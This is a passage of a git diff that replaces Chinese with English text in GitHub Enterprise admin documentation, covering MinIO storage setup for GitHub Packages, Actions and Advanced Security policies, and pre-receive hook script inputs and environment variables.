variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)." diff --git a/translations/zh-CN/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md b/translations/zh-CN/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md index d1cc7cec11..5771f81c62 100644 --- a/translations/zh-CN/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md +++ b/translations/zh-CN/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md @@ -1,6 +1,6 @@ --- -title: 为 GitHub Packages 配置 MinIO 存储桶的快速入门 -intro: '配置您的自定义 MinIO 存储桶，用于 {% data variables.product.prodname_registry %}。' +title: Quickstart for configuring your MinIO storage bucket for GitHub Packages +intro: 'Configure your custom MinIO storage bucket for use with {% data variables.product.prodname_registry %}.' versions: ghes: '*' type: quick_start @@ -8,45 +8,45 @@ topics: - Packages - Enterprise - Storage -shortTitle: MinIO 快速入门 +shortTitle: Quickstart for MinIO --- {% data reusables.package_registry.packages-ghes-release-stage %} -在 {% data variables.product.product_location_enterprise %} 上启用和配置 {% data variables.product.prodname_registry %} 之前，您必须准备第三方存储解决方案。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your third-party storage solution. -MinIO 在企业上提供对象存储并支持 S3 API 和 {% data variables.product.prodname_registry %}。 +MinIO offers object storage with support for the S3 API and {% data variables.product.prodname_registry %} on your enterprise. -此快速入门将演示如何使用 Docker 设置 MinIO 以与 {% data variables.product.prodname_registry %} 使用，但除了 Docker 之外，您还有其他用于管理 MinIO 的选项。 有关 MinIO 的更多信息，请参阅官方的 [MinIO 文档](https://docs.min.io/)。 +This quickstart shows you how to set up MinIO using Docker for use with {% data variables.product.prodname_registry %} but you have other options for managing MinIO besides Docker. For more information about MinIO, see the official [MinIO docs](https://docs.min.io/). -## 1. 根据您的需求选择 MinIO 模式 +## 1. Choose a MinIO mode for your needs -| MinIO 模式 | 针对以下平台优化 | 需要存储基础架构 | -| ----------------------- | ----------- | ------------ | -| 独立 MinIO（在单个主机上） | 快速设置 | 不适用 | -| MinIO 作为 NAS 网关 | NAS（网络连接存储） | NAS 设备 | -| 群集式 MinIO（也称为分布式 MinIO） | 数据安全 | 在群集中运行的存储服务器 | +| MinIO mode | Optimized for | Storage infrastructure required | +|----|----|----| +| Standalone MinIO (on a single host) | Fast setup | N/A | +| MinIO as a NAS gateway | NAS (Network-attached storage)| NAS devices | +| Clustered MinIO (also called Distributed MinIO)| Data security | Storage servers running in a cluster | -有关您的选项的更多信息，请参阅官方的 [MinIO 文档](https://docs.min.io/)。 +For more information about your options, see the official [MinIO docs](https://docs.min.io/). -## 2. 安装、运行和登录到 MinIO +## 2. Install, run, and sign in to MinIO -1. 为 MinIO 设置首选环境变量。 +1. Set up your preferred environment variables for MinIO. - 以下示例使用 `MINIO_DIR`： + These examples use `MINIO_DIR`: ```shell $ export MINIO_DIR=$(pwd)/minio $ mkdir -p $MINIO_DIR ``` -2. 安装 MinIO。 +2. Install MinIO. ```shell $ docker pull minio/minio ``` - 更多信息请参阅官方的“[MinIO 快速入门指南](https://docs.min.io/docs/minio-quickstart-guide)”。 + For more information, see the official "[MinIO Quickstart Guide](https://docs.min.io/docs/minio-quickstart-guide)." -3. 使用您的 MinIO 访问密钥登录 MinIO。 +3. Sign in to MinIO using your MinIO access key and secret. {% linux %} ```shell @@ -64,16 +64,16 @@ MinIO 在企业上提供对象存储并支持 S3 API 和 {% data variables.produ ``` {% endmac %} - 您可以使用环境变量访问 MinIO 密钥： + You can access your MinIO keys using the environment variables: ```shell $ echo $MINIO_ACCESS_KEY $ echo $MINIO_SECRET_KEY ``` -4. 在您选择的模式下运行 MinIO。 +4. Run MinIO in your chosen mode. - * 在单一主机上使用 Docker 运行 MinIO： + * Run MinIO using Docker on a single host: ```shell $ docker run -p 9000:9000 \ @@ -83,11 +83,11 @@ MinIO 在企业上提供对象存储并支持 S3 API 和 {% data variables.produ minio/minio server /data ``` - 更多信息请参阅“[MinIO Docker 快速入门指南](https://docs.min.io/docs/minio-docker-quickstart-guide.html)”。 + For more information, see "[MinIO Docker Quickstart guide](https://docs.min.io/docs/minio-docker-quickstart-guide.html)." - * 使用 Docker 作为 NAS 网关运行 MinIO： + * Run MinIO using Docker as a NAS gateway: - 此设置对于已经有 NAS 用作 {% data variables.product.prodname_registry %} 的备份存储的部署非常有用。 + This setup is useful for deployments where there is already a NAS you want to use as the backup storage for {% data variables.product.prodname_registry %}. ```shell $ docker run -p 9000:9000 \ @@ -97,42 +97,42 @@ MinIO 在企业上提供对象存储并支持 S3 API 和 {% data variables.produ minio/minio gateway nas /data ``` - 更多信息请参阅“[NAS 的 MinIO 网关](https://docs.min.io/docs/minio-gateway-for-nas.html)”。 + For more information, see "[MinIO Gateway for NAS](https://docs.min.io/docs/minio-gateway-for-nas.html)." - * 使用 Docker 作为集群运行 MinIO： 此 MinIO 部署使用多个主机和 MinIO 的擦除编码来提供最强的数据保护。 要在群集模式下运行 MinIO，请参阅“[分布式 MinIO 快速入门指南](https://docs.min.io/docs/distributed-minio-quickstart-guide.html)”。 + * Run MinIO using Docker as a cluster. This MinIO deployment uses several hosts and MinIO's erasure coding for the strongest data protection. To run MinIO in a cluster mode, see the "[Distributed MinIO Quickstart Guide](https://docs.min.io/docs/distributed-minio-quickstart-guide.html). -## 3. 为 {% data variables.product.prodname_registry %} 创建 MinIO 存储桶 +## 3. Create your MinIO bucket for {% data variables.product.prodname_registry %} -1. 安装 MinIO 客户端。 +1. Install the MinIO client. ```shell $ docker pull minio/mc ``` -2. 使用 {% data variables.product.prodname_ghe_server %} 可以访问的主机 URL 创建存储桶。 +2. Create a bucket with a host URL that {% data variables.product.prodname_ghe_server %} can access. - * 本地部署示例： + * Local deployments example: ```shell $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @localhost:9000" $ docker run minio/mc BUCKET-NAME ``` - 此示例可用于 MinIO 单机版或作为 NAS 网关的 MinIO。 + This example can be used for MinIO standalone or MinIO as a NAS gateway. - * 集群部署示例： + * Clustered deployments example: ```shell $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @minioclustername.example.com:9000" $ docker run minio/mc mb packages ``` -## 后续步骤 +## Next steps -要完成 {% data variables.product.prodname_registry %} 的存储配置，您需要复制 MinIO 存储 URL： +To finish configuring storage for {% data variables.product.prodname_registry %}, you'll need to copy the MinIO storage URL: ``` echo "http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY}@minioclustername.example.com:9000" ``` -关于后续步骤，请参阅“[使用 MinIO 启用 {% data variables.product.prodname_registry %}](/admin/packages/enabling-github-packages-with-minio)”。 +For the next steps, see "[Enabling {% data variables.product.prodname_registry %} with MinIO](/admin/packages/enabling-github-packages-with-minio)." diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md index d6421e54e0..15f16b0e13 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: 在企业中执行高级安全策略 -intro: '您可以执行策略来管理企业组织内的 {% data variables.product.prodname_GH_advanced_security %} 功能，或者允许在每个组织中设置策略。' +title: Enforcing policies for Advanced Security in your enterprise +intro: 'You can enforce policies to manage {% data variables.product.prodname_GH_advanced_security %} features within your enterprise''s organizations, or allow policies to be set in each organization.' permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_GH_advanced_security %} in an enterprise.' product: '{% data reusables.gated-features.ghas %}' versions: @@ -19,16 +19,16 @@ redirect_from: - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise - /github/setting-up-and-managing-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise-account - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-policies-for-advanced-security-in-your-enterprise-account -shortTitle: 高级安全策略 +shortTitle: Advanced Security policies --- -## 关于企业中 {% data variables.product.prodname_GH_advanced_security %} 的策略 +## About policies for {% data variables.product.prodname_GH_advanced_security %} in your enterprise -{% data reusables.advanced-security.ghas-helps-developers %} 更多信息请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)”。 +{% data reusables.advanced-security.ghas-helps-developers %} For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)." -{% ifversion ghes or ghec %}如果您购买了 {% data variables.product.prodname_GH_advanced_security %} 许可证，任何{% else %}任何 {% data variables.product.product_location %} {% endif %} 组织都可以使用 {% data variables.product.prodname_advanced_security %} 功能。 您可以执行策略来控制 {% data variables.product.product_name %} 上的企业成员如何使用 {% data variables.product.prodname_advanced_security %}。 +{% ifversion ghes or ghec %}If you purchase a license for {% data variables.product.prodname_GH_advanced_security %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_advanced_security %} features. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_advanced_security %}. -## 在企业中执行使用 {% data variables.product.prodname_GH_advanced_security %} 的策略 +## Enforcing a policy for the use of {% data variables.product.prodname_GH_advanced_security %} in your enterprise {% data reusables.advanced-security.about-ghas-organization-policy %} diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md index 3c8a3d5b25..99179a580a 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md @@ -28,21 +28,21 @@ shortTitle: GitHub Actions policies {% data reusables.actions.enterprise-beta %} {% data reusables.actions.ae-beta %} -## 关于企业中 {% data variables.product.prodname_actions %} 的策略 +## About policies for {% data variables.product.prodname_actions %} in your enterprise {% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." -{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_actions %}. 您可以执行策略来控制 {% data variables.product.product_name %} 上的企业成员如何使用 {% data variables.product.prodname_actions %}。 By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)." +{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_actions %}. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_actions %}. By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)." ## Enforcing a policy to restrict the use of actions in your enterprise -您可以选择对企业中的所有组织禁用 {% data variables.product.prodname_actions %}，或只允许特定的组织。 您还可以限制公共操作的使用，以使人们只能使用您的企业中存在的本地操作。 +You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions, so that people can only use local actions that exist in your enterprise. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.actions.enterprise-actions-permissions %} -1. 单击 **Save（保存）**。 +1. Click **Save**. {% ifversion ghec or ghes or ghae %} @@ -53,11 +53,11 @@ shortTitle: GitHub Actions policies {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} -1. 在 **Policies（策略）**下，选择 **Allow select actions（允许选择操作）**并将所需操作添加到列表中。 - {%- ifversion ghes or ghae-issue-5094 %} - ![添加操作到允许列表](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) +1. Under **Policies**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 or ghae-issue-5094 %} + ![Add actions to allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) {%- elsif ghae %} - ![添加操作到允许列表](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) {%- endif %} {% endif %} @@ -69,8 +69,7 @@ shortTitle: GitHub Actions policies {% data reusables.actions.about-artifact-log-retention %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.github-actions.change-retention-period-for-artifacts-logs %} @@ -115,14 +114,15 @@ You can enforce policies to control how {% data variables.product.prodname_actio {% data reusables.github-actions.workflow-permissions-intro %} -您可以在企业、组织或仓库的设置中为 `GITHUB_TOKEN` 设置默认权限。 如果您在企业设置中选择受限制的选项为默认值，这将防止在组织或仓库设置中选择更多的允许设置。 +You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose the restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings. {% data reusables.github-actions.workflow-permissions-modifying %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} -1. 在 **Workflow permissions（工作流程权限）**下，选择您是否想要 `GITHUB_TOKENN` 读写所有范围限， 或者只读`内容`范围。 ![为此企业设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) -1. 单击 **Save（保存）**以应用设置。 +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) +1. Click **Save** to apply the settings. {% endif %} diff --git a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md index 5cd553d2c4..9b74d60545 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md @@ -1,6 +1,6 @@ --- -title: 创建预接收挂钩脚本 -intro: 使用预接收挂钩脚本创建基于内容来接受或拒绝推送的要求。 +title: Creating a pre-receive hook script +intro: Use pre-receive hook scripts to create requirements for accepting or rejecting a push based on the contents. miniTocMaxHeadingLevel: 3 redirect_from: - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-script @@ -13,144 +13,143 @@ topics: - Enterprise - Policies - Pre-receive hooks -shortTitle: 预接收挂钩脚本 +shortTitle: Pre-receive hook scripts --- +You can see examples of pre-receive hooks for {% data variables.product.prodname_ghe_server %} in the [`github/platform-samples` repository](https://github.com/github/platform-samples/tree/master/pre-receive-hooks). -您可以在 [`github/platform-samples` 仓库](https://github.com/github/platform-samples/tree/master/pre-receive-hooks)中查看 {% data variables.product.prodname_ghe_server %} 的预接收挂钩示例。 +## Writing a pre-receive hook script +A pre-receive hook script executes in a pre-receive hook environment on {% data variables.product.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables. -## 编写预接收挂钩脚本 -预接收挂钩脚本在 {% data variables.product.product_location %} 上的预接收挂钩环境中执行。 创建预接收挂钩脚本时，请考虑可用的输入、输出、退出状态和环境变量。 - -### 输入 (`stdin`) -推送发生后，在为远程仓库更新任何引用之前，在 {% data variables.product.product_location %} 上的 `git-receive-pack` 进程将调用预接收挂钩脚本。 脚本 `stdin` 的标准输入是一个字符串，对每个要更新的 ref 包含一行。 每行都包含 ref 的旧对象名称、引用的新对象名称和 ref 的全名。 +### Input (`stdin`) +After a push occurs and before any refs are updated for the remote repository, the `git-receive-pack` process on {% data variables.product.product_location %} invokes the pre-receive hook script. Standard input for the script, `stdin`, is a string containing a line for each ref to update. Each line contains the old object name for the ref, the new object name for the ref, and the full name of the ref. ``` SP SP LF ``` -此字符串表示以下参数。 +This string represents the following arguments. -| 参数 | 描述 | -|:------------------- |:------------------------------------------------ | -| `` | 存储在 ref 中的旧对象名称。
                    当您创建新的 ref 时，值是 40 个零。 | -| `` | 要存储在 ref 中的新对象名称。
                    当您删除 ref 时，值是 40 个零。 | -| `` | ref 的全名。 | +| Argument | Description | +| :------------- | :------------- | +| `` | Old object name stored in the ref.
                    When you create a new ref, the value is 40 zeroes. | +| `` | New object name to be stored in the ref.
                    When you delete a ref, the value is 40 zeroes. | +| `` | The full name of the ref. | -有关 `git-receive-pack` 的更多信息，请参阅 Git 文档中的“[git-receive-pack](https://git-scm.com/docs/git-receive-pack)”。 有关 ref 的更多信息，请参阅 *Pro Git* 中的“[Git 引用](https://git-scm.com/book/en/v2/Git-Internals-Git-References)”。 +For more information about `git-receive-pack`, see "[git-receive-pack](https://git-scm.com/docs/git-receive-pack)" in the Git documentation. For more information about refs, see "[Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References)" in *Pro Git*. -### 输出 (`stdout`) +### Output (`stdout`) -脚本 `stdout` 的标准输出传回客户端。 任何 `echo` 语句将在命令行或用户界面上对用户可见。 +The standard output for the script, `stdout`, is passed back to the client. Any `echo` statements will be visible to the user on the command line or in the user interface. -### 退出状态 +### Exit status -预接收脚本的退出状态决定是否接受推送。 +The exit status of a pre-receive script determines if the push will be accepted. -| Exit-status 值 | 操作 | -|:------------- |:------ | -| 0 | 将接受推送。 | -| 非零 | 将拒绝推送。 | +| Exit-status value | Action | +| :- | :- | +| 0 | The push will be accepted. | +| non-zero | The push will be rejected. | -### 环境变量 +### Environment variables -除了预接收挂钩脚本 `stdin` 的标准输入外，，{% data variables.product.prodname_ghe_server %} 在 Bash 环境中为您的脚本执行提供以下变量。 有关预接收钩脚本 `stdin` 的更多信息，请参阅“[输入 (`stdin`)](#input-stdin)”。 +In addition to the standard input for your pre-receive hook script, `stdin`, {% data variables.product.prodname_ghe_server %} makes the following variables available in the Bash environment for your script's execution. For more information about `stdin` for your pre-receive hook script, see "[Input (`stdin`)](#input-stdin)." -预接收挂钩脚本可使用不同的环境变量，具体取决于触发脚本运行的因素。 +Different environment variables are available to your pre-receive hook script depending on what triggers the script to run. -- [始终可用](#always-available) -- [可用于从 Web 界面或 API 推送](#available-for-pushes-from-the-web-interface-or-api) -- [可用于拉取请求合并](#available-for-pull-request-merges) -- [可用于使用 SSH 身份验证的推送](#available-for-pushes-using-ssh-authentication) +- [Always available](#always-available) +- [Available for pushes from the web interface or API](#available-for-pushes-from-the-web-interface-or-api) +- [Available for pull request merges](#available-for-pull-request-merges) +- [Available for pushes using SSH authentication](#available-for-pushes-using-ssh-authentication) -#### 始终可用 +#### Always available -以下变量在预接收挂钩环境中始终可用。 +The following variables are always available in the pre-receive hook environment. -| 变量 | 描述 | 示例值 | -|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------ | -| 
                    $GIT_DIR
                    | 实例上远程仓库的路径 | /data/user/repositories/a/ab/
                    a1/b2/34/100001234/1234.git | -| 
                    $GIT_PUSH_OPTION_COUNT
                    | 由客户端使用 `--pub-option` 发送的推送选项数量。 更多信息请参阅 Git 文档中的“[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)”。 | 1 | -| 
                    $GIT\_PUSH\_OPTION\_N
                    | 其中 _N_ 是一个从 0 开始的整数，此变量包含客户端发送的推送选项字符串。 发送的第一个选项存储在 `GIT_PUSH_OPTION_0` 中，发送的第二个选项存储在 `GIT_PUSH_OPTION_1` 中，依此类推。 关于推送选项的更多信息，请参阅 Git 文档中的“[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)”。 | abcd |{% ifversion ghes %} -| 
                    $GIT_USER_AGENT
                    | 推送更改的 Git 客户端发送的 user-agent 字符串。 | git/2.0.0{% endif %} -| 
                    $GITHUB_REPO_NAME
                    | 以 _NAME_/_OWNER_ 格式更新的仓库名称 | octo-org/hello-enterprise | -| 
                    $GITHUB_REPO_PUBLIC
                    | 表示更新的仓库是否公开的布尔值 |
                    • true：仓库的可见性是公开的
                    • false：仓库的可见性是私密或内部的
                    | -| 
                    $GITHUB_USER_IP
                    | 发起推送的客户端 IP 地址 | 192.0.2.1 | -| 
                    $GITHUB_USER_LOGIN
                    | 发起推送的帐户的用户名 | octocat | +| Variable | Description | Example value | +| :- | :- | :- | +| 
                    $GIT_DIR
                    | Path to the remote repository on the instance | /data/user/repositories/a/ab/
                    a1/b2/34/100001234/1234.git | +| 
                    $GIT_PUSH_OPTION_COUNT
                    | The number of push options that were sent by the client with `--push-option`. For more information, see "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" in the Git documentation. | 1 | +| 
                    $GIT\_PUSH\_OPTION\_N
                    | Where _N_ is an integer starting at 0, this variable contains the push option string that was sent by the client. The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. For more information about push options, see "[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)" in the Git documentation. | abcd |{% ifversion ghes %} +| 
                    $GIT_USER_AGENT
                    | User-agent string sent by the Git client that pushed the changes | git/2.0.0{% endif %} +| 
                    $GITHUB_REPO_NAME
                    | Name of the repository being updated in _NAME_/_OWNER_ format | octo-org/hello-enterprise | +| 
                    $GITHUB_REPO_PUBLIC
                    | Boolean representing whether the repository being updated is public |
                    • true: Repository's visibility is public
                    • false: Repository's visibility is private or internal
                    +| 
                    $GITHUB_USER_IP
                    | IP address of client that initiated the push | 192.0.2.1 | +| 
                    $GITHUB_USER_LOGIN
                    | Username for account that initiated the push | octocat | -#### 可用于从 Web 界面或 API 推送 +#### Available for pushes from the web interface or API -当触发挂钩的 ref 更新通过 {% data variables.product.prodname_ghe_server %} 的 Web 界面或 API 进行时，`$GITHUB_VIA` 变量可用于预接收挂钩环境。 该值描述了更新 ref 的操作。 +The `$GITHUB_VIA` variable is available in the pre-receive hook environment when the ref update that triggers the hook occurs via either the web interface or the API for {% data variables.product.prodname_ghe_server %}. The value describes the action that updated the ref. -| 值 | 操作 | 更多信息 | -|:-------------------------- |:--------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------- | -| 
                    auto-merge deployment api
                    | 通过 API 创建的部署自动合并基础分支 | REST API 文档中的“[仓库](/rest/reference/repos#create-a-deployment)” | -| 
                    blob#save
                    | 在 Web 界面中更改文件的内容 | "[编辑文件](/repositories/working-with-files/managing-files/editing-files)" | -| 
                    branch merge api
                    | 通过 API 合并分支 | REST API 文档中的“[仓库](/rest/reference/repos#merge-a-branch)” | -| 
                    branches page delete button
                    | 在 Web 界面中删除分支 | “[在仓库内创建和删除分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)” | -| 
                    git refs create api
                    | 通过 API 创建 ref | REST API 文档中的“[Git 数据库](/rest/reference/git#create-a-reference)” | -| 
                    git refs delete api
                    | 通过 API 删除 ref | REST API 文档中的“[Git 数据库](/rest/reference/git#delete-a-reference)” | -| 
                    git refs update api
                    | 通过 API 更新 ref | REST API 文档中的“[Git 数据库](/rest/reference/git#update-a-reference)” | -| 
                    git repo contents api
                    | 通过 API 更改文件的内容 | REST API 文档中的“[仓库](/rest/reference/repos#create-or-update-file-contents)” | -| 
                    merge base into head
                    | 当基础分支需要严格的状态检查时，从基础分支更新主题分支（通过拉取请求中的**更新分支**） | "[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" | -| 
                    pull request branch delete button
                    | 在 Web 界面中从拉取请求中删除主题分支 | "[删除和恢复拉取请求中的分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" | -| 
                    pull request branch undo button
                    | 在 Web 界面中从拉取请求中恢复主题分支 | "[删除和恢复拉取请求中的分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" | -| 
                    pull request merge api
                    | 通过 API 合并拉取请求 | REST API 文档中的“[拉取](/rest/reference/pulls#merge-a-pull-request)” | -| 
                    pull request merge button
                    | Web 界面中拉取请求的合并 | "[合并拉取请求](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)" | -| 
                    拉取请求还原按钮
                    | 还原拉取请求 | "[接收拉取请求](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)" | -| 
                    releases delete button
                    | 删除发行版 | “[管理仓库中的发行版](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)” | -| 
                    stafftools branch restore
                    | 从站点管理员仪表板中还原分支 | "[站点管理员仪表板](/admin/configuration/site-admin-dashboard#repositories)" | -| 
                    tag create api
                    | 通过 API 创建标签 | REST API 文档中的“[Git 数据库](/rest/reference/git#create-a-tag-object)” | -| 
                    slumlord (#SHA)
                    | 通过 Subversion 提交 | "[支持 Subversion 客户端](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" | -| 
                    web branch create
                    | 通过 Web 界面创建分支 | “[在仓库内创建和删除分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)” | +| Value | Action | More information | +| :- | :- | :- | +| 
                    auto-merge deployment api
                    | Automatic merge of the base branch via a deployment created with the API | "[Repositories](/rest/reference/repos#create-a-deployment)" in the REST API documentation | +| 
                    blob#save
                    | Change to a file's contents in the web interface | "[Editing files](/repositories/working-with-files/managing-files/editing-files)" | +| 
                    branch merge api
                    | Merge of a branch via the API | "[Repositories](/rest/reference/repos#merge-a-branch)" in the REST API documentation | +| 
                    branches page delete button
                    | Deletion of a branch in the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" | +| 
                    git refs create api
                    | Creation of a ref via the API | "[Git database](/rest/reference/git#create-a-reference)" in the REST API documentation | +| 
                    git refs delete api
                    | Deletion of a ref via the API | "[Git database](/rest/reference/git#delete-a-reference)" in the REST API documentation | +| 
                    git refs update api
                    | Update of a ref via the API | "[Git database](/rest/reference/git#update-a-reference)" in the REST API documentation | +| 
                    git repo contents api
                    | Change to a file's contents via the API | "[Repositories](/rest/reference/repos#create-or-update-file-contents)" in the REST API documentation | +| 
                    merge base into head
                    | Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" | +| 
                    pull request branch delete button
                    | Deletion of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" | +| 
                    pull request branch undo button
                    | Restoration of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" | +| 
                    pull request merge api
                    | Merge of a pull request via the API | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" in the REST API documentation | +| 
                    pull request merge button
                    | Merge of a pull request in the web interface | "[Merging a pull request](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)" | +| 
                    pull request revert button
                    | Revert of a pull request | "[Reverting a pull request](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)" | +| 
                    releases delete button
                    | Deletion of a release | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)" | +| 
                    stafftools branch restore
                    | Restoration of a branch from the site admin dashboard | "[Site admin dashboard](/admin/configuration/site-admin-dashboard#repositories)" | +| 
                    tag create api
                    | Creation of a tag via the API | "[Git database](/rest/reference/git#create-a-tag-object)" in the REST API documentation | +| 
                    slumlord (#SHA)
                    | Commit via Subversion | "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" | +| 
                    web branch create
                    | Creation of a branch via the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)" | -#### 可用于拉取请求合并 +#### Available for pull request merges -当触发挂钩的推送由于拉取请求请求合并而成为推送时，以下变量在预接收挂钩环境中可用。 +The following variables are available in the pre-receive hook environment when the push that triggers the hook is a push due to the merge of a pull request. -| 变量 | 描述 | 示例值 | -|:-------------------------- |:---------------------------------- |:---------------------------- | -| 
                    $GITHUB_PULL_REQUEST_AUTHOR_LOGIN
                    | 编写拉取请求的帐户的用户名 | octocat | -| 
